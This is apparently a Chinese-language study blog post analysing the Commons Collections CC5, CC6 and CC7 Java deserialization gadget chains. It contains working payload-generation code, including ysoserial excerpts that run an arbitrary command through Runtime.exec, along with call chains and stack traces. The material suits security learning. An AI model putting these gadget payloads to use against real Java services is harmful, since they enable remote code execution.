前景提要: https://lrui1.top/posts/f50fa0/
CC5 CC1的触发逻辑是 AnnotationInvocationHandler -> LazyMap.get() -> InvokeTransformer,而CC5则是找到了另外一种方式来触发LazyMap.get()
攻击链构造 对LazyMap.get()进行Find Usage,在common-collection 3.2.1下有一个类的toString()方法存在间接调用get
当然不止toString(),还有hashCode,equals,CC5是从toString()构造的,我们先分析toString()
TiedMapEntry 从上方的Find Usage,我们可以得出一个结论:TiedMapEntry的toString()、hashCode()、equals()方法都可以触发我们之前构造的攻击链——LazyMap.get()
测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 @Test public void testTiedMapEntry () { ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }); HashMap<String, String> hashMap = new HashMap <>(); hashMap.put("test" ,"test" ); Map decorate = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (decorate, "不存在Map中" ); tiedMapEntry.toString(); }
对toString()进行Find Usage,于是我们找到了一个存在readObject方法调用toString()的类,BadAttributeValueExpException
BadAttributeValueExpException readObject方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
分析上述代码,发现只要系统没有默认的SecurityManager,且我们将val赋值为上述TiedMapEntry的实例,即可触发TiedMapEntry.toString()方法,测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 @Test public void testCC5 () throws Exception { ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }), }); HashMap<String, String> hashMap = new HashMap <>(); hashMap.put("test" ,"test" ); Map decorate = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (decorate, "不存在Map中" ); BadAttributeValueExpException payload = new BadAttributeValueExpException (null ); Field valField = BadAttributeValueExpException.class.getDeclaredField("val" ); valField.setAccessible(true ); valField.set(payload, tiedMapEntry); ObjectOutputStream ous = new ObjectOutputStream (new FileOutputStream ("CC5.bin" )); ous.writeObject(payload); System.out.println("ser successfully" ); } public static void main (String[] args) throws Exception { Scanner sc = new Scanner (System.in); String s = sc.nextLine(); ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get(s))); Object o = ois.readObject(); ois.close(); System.out.println("unser successfully" ); User user = (User) o; System.out.println(user); sc.close(); }
弹出计算器
总结 调用链如下
1 2 3 4 5 6 7 8 9 BadAttributeValueExpException.readObject() TiedMapEntry.toString() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform()
调用堆栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126 ) org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123 ) org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158 ) org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74 ) org.apache.commons.collections.keyvalue.TiedMapEntry.toString(TiedMapEntry.java:132 ) javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86 ) sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1 ) sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) java.lang.reflect.Method.invoke(Method.java:497 ) java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058 ) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900 ) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801 ) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351 ) java.io.ObjectInputStream.readObject(ObjectInputStream.java:371 ) top.lrui1.Unser.main(Unser.java:20 )
影响范围
commons-collections : 3.1~3.2.1 jdk不清楚,上述代码使用JDK1.8.0_202仍可触发
ysoserial实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public BadAttributeValueExpException getObject (final String command) throws Exception { final String[] execArgs = new String [] { command }; final Transformer transformerChain = new ChainedTransformer ( new Transformer []{ new ConstantTransformer (1 ) }); final Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, execArgs), new ConstantTransformer (1 ) }; final Map innerMap = new HashMap (); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry (lazyMap, "foo" ); BadAttributeValueExpException val = new BadAttributeValueExpException (null ); Field valfield = val.getClass().getDeclaredField("val" ); Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers" , transformers); return val; }
跟之前一样,搞个ConstantTransformer先存着,后面用反射将transformerChain其中的属性改为真正的transformers,用于触发exec
CC6 攻击链构造(HashMap) HashMap.readObject() 在之前CC5的分析中,我们有一个结论:
TiedMapEntry的toString()、hashCode()、equals()方法都可以触发我们之前构造的攻击链——LazyMap.get()
hashCode代码如下
1 2 3 4 5 6 7 8 9 10 11 12 public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
既然hashCode也可以触发我们构造的攻击链,根据我们最初调试的URLDNS,我们可以用HashMap来触发TiedMapEntry.hashCode
但是链中有多个Map,会导致序列化顺序异常,
思路就是URLDNS+CC5的扩展,测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 @Test public void testCC61 () throws Exception { Transformer[] evil = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" })}; ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{}); Map lazyMap = LazyMap.decorate(new HashMap <>(), chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "不存在Map中" ); HashMap<Object, Object> payload = new HashMap <>(); payload.put(tiedMapEntry, "下面反射填值,改成evil的transform" ); Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers" ); iTransformersField.setAccessible(true ); iTransformersField.set(chainedTransformer, evil); lazyMap.clear(); ObjectOutputStream ous = new ObjectOutputStream (new FileOutputStream ("CC6.bin" )); ous.writeObject(payload); ous.close(); System.out.println("ser successfully" ); }
需要注意的是,序列化之前构造的对象,payload.put元素,会触发hash 触发lazymap.get()导致存在元素,使得后面反序列化时不能正常触发,需清空lazymap
可弹计算器
总结 目前调用链
1 2 3 4 5 6 7 8 9 10 HashMap.readObject() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform()
调用堆栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126 ) org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123 ) org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158 ) org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74 ) org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:121 ) java.util.HashMap.hash(HashMap.java:338 ) java.util.HashMap.readObject(HashMap.java:1397 ) sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1 ) sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) java.lang.reflect.Method.invoke(Method.java:497 ) java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058 ) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900 ) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801 ) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351 ) java.io.ObjectInputStream.readObject(ObjectInputStream.java:371 ) top.lrui1.Unser.main(Unser.java:20 )
影响范围
commons-collections : 3.1~3.2.1
攻击链构造(HashSet) su18大牛给出了一个HashSet触发HashMap.put的方式,相比于上一条链就是多套了一层HashSet,详细可参考 https://su18.org/post/ysoserial-su18-2/#hashset
HashSet.readObject() HashSet的readObject代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); int capacity = s.readInt(); if (capacity < 0 ) { throw new InvalidObjectException ("Illegal capacity: " + capacity); } float loadFactor = s.readFloat(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) { throw new InvalidObjectException ("Illegal load factor: " + loadFactor); } int size = s.readInt(); if (size < 0 ) { throw new InvalidObjectException ("Illegal size: " + size); } capacity = (int ) Math.min(size * Math.min(1 / loadFactor, 4.0f ), HashMap.MAXIMUM_CAPACITY); map = (((HashSet<?>)this ) instanceof LinkedHashSet ? new LinkedHashMap <E,Object>(capacity, loadFactor) : new HashMap <E,Object>(capacity, loadFactor)); for (int i=0 ; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } }
上述代码在最后一个For循环中,存在map.put调用
不过readObject方法首行代码直接存在了HashMap.readObject的调用,导致触发提前
测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 @Test public void testCC62 () throws Exception { Transformer[] evil = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" })}; ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{}); Map lazyMap = LazyMap.decorate(new HashMap <>(), chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "不存在Map中" ); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(tiedMapEntry, "下面反射填值,改成evil的transform" ); Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers" ); iTransformersField.setAccessible(true ); iTransformersField.set(chainedTransformer, evil); HashSet<Object> payload = new HashSet <>(); payload.add(hashMap); lazyMap.clear(); ObjectOutputStream ous = new ObjectOutputStream (new FileOutputStream ("CC6.bin" )); ous.writeObject(payload); ous.close(); System.out.println("ser successfully" ); }
总结 调用链如下
1 2 3 4 5 6 7 8 9 10 11 HashSet.readObject() HashMap.readObject() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform()
调用堆栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126 ) org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123 ) org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158 ) org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74 ) org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:121 ) java.util.HashMap.hash(HashMap.java:338 ) java.util.HashMap.readObject(HashMap.java:1397 ) sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1 ) sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) java.lang.reflect.Method.invoke(Method.java:497 ) java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058 ) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900 ) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801 ) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351 ) java.io.ObjectInputStream.readObject(ObjectInputStream.java:371 ) java.util.HashSet.readObject(HashSet.java:333 ) sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1 ) sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) java.lang.reflect.Method.invoke(Method.java:497 ) java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058 ) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900 ) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801 ) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351 ) java.io.ObjectInputStream.readObject(ObjectInputStream.java:371 ) top.lrui1.Unser.main(Unser.java:20 )
影响范围
commons-collections : 3.1~3.2.1
ysoserial实现 代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 public Serializable getObject (final String command) throws Exception { final String[] execArgs = new String [] { command }; final Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] { String.class, Class[].class }, new Object [] { "getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] { Object.class, Object[].class }, new Object [] { null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] { String.class }, execArgs), new ConstantTransformer (1 ) }; Transformer transformerChain = new ChainedTransformer (transformers); final Map innerMap = new HashMap (); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry (lazyMap, "foo" ); HashSet map = new HashSet (1 ); map.add("foo" ); Field f = null ; try { f = HashSet.class.getDeclaredField("map" ); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap" ); } Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = null ; try { f2 = HashMap.class.getDeclaredField("table" ); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData" ); } Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0 ]; if (node == null ){ node = array[1 ]; } Field keyField = null ; try { keyField = node.getClass().getDeclaredField("key" ); }catch (Exception e){ keyField = Class.forName("java.util.MapEntry" ).getDeclaredField("key" ); } Reflections.setAccessible(keyField); keyField.set(node, entry); return map; }
对于JDK1.8,yso这个实现思路是直接通过反射获取HashSet中的HashMap中的Node<K,V>[] table的引用,随后将TiedMapEntry直接反射填入,避免使用公共API方法导致的一系列触发流程,比较臃肿。
CC7 参考CC6,找的是hashCode的触发点,CC6找的是HashMap,CC7这条链是基于HashTable的
攻击链构造 HashMap与HashTable(Gemini)
特性
HashMap
Hashtable
线程安全
不安全 (非 Synchronized)
安全 (方法被 synchronized 修饰)
Null Key
允许 (仅限 1 个)
不允许 (抛 NullPointerException)
Null Value
允许 (任意多个)
不允许 (抛 NullPointerException)
性能
高 (无锁开销)
低 (全表锁,竞争激烈时效率差)
父类
AbstractMap
Dictionary (已废弃的类)
诞生时间
JDK 1.2 (Java Collections Framework)
JDK 1.0 (遗留类)
迭代器
Fail-Fast
Enumerator (不是 Fail-Fast)
HashTable.readObject()方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); if (length > elements && (length & 1 ) == 0 ) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry <?,?>[length]; threshold = (int )Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1 ); count = 0 ; for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
reconstitutionPut方法,存在调用key.hashCode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 @Test public void testCC7 () throws Exception { Transformer[] evil = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" })}; ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{}); Map lazyMap = LazyMap.decorate(new HashMap <>(), chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "不存在Map中" ); Hashtable<Object, Object> payload = new Hashtable <>(); payload.put(tiedMapEntry, "GO GO GO" ); Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers" ); iTransformersField.setAccessible(true ); iTransformersField.set(chainedTransformer, evil); lazyMap.clear(); ObjectOutputStream ous = new ObjectOutputStream (new FileOutputStream ("CC7.bin" )); ous.writeObject(payload); ous.close(); System.out.println("ser successfully" ); }
弹出计算器
总结 调用链如下
1 2 3 4 5 6 7 8 9 10 Hashtable.readObject() Hashtable.reconstitutionPut() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform() InvokerTransformer.transform()
调用堆栈如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126 ) org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123 ) org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158 ) org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74 ) org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:121 ) java.util.Hashtable.reconstitutionPut(Hashtable.java:1218 ) java.util.Hashtable.readObject(Hashtable.java:1195 ) sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1 ) sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) java.lang.reflect.Method.invoke(Method.java:497 ) java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058 ) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900 ) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801 ) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351 ) java.io.ObjectInputStream.readObject(ObjectInputStream.java:371 ) top.lrui1.Unser.main(Unser.java:20 )
影响范围
commons-collections : 3.1~3.2.1
ysoserial实现 代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public Hashtable getObject (final String command) throws Exception { final String[] execArgs = new String []{command}; final Transformer transformerChain = new ChainedTransformer (new Transformer []{}); final Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, execArgs), new ConstantTransformer (1 )}; Map innerMap1 = new HashMap (); Map innerMap2 = new HashMap (); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); Reflections.setFieldValue(transformerChain, "iTransformers" , transformers); lazyMap2.remove("yy" ); return hashtable; }
跟CC6的实现这部分代码就简练许多,通过在序列化之前,移除lazyMap中的一个元素和修改ChainedTransformer中的iTransformers,确保在反序列化时的正确利用
总结 CC1~CC7全部都调试完了,完结撒花 !!!
从刚开始的AnnotationInvocationHandler结合动态代理,到后面的TiedMapEntry打通HashMap,挖掘出这些利用链的师傅真是太厉害了,个人觉得在这些链中最为利落的是CC5,利用链简单,报错堆栈少,简直牛大了
还有那么多反序列化链,先休息下吧,燃尽了。
参考链接 https://www.oracle.com/java/technologies/javase/8u-relnotes.html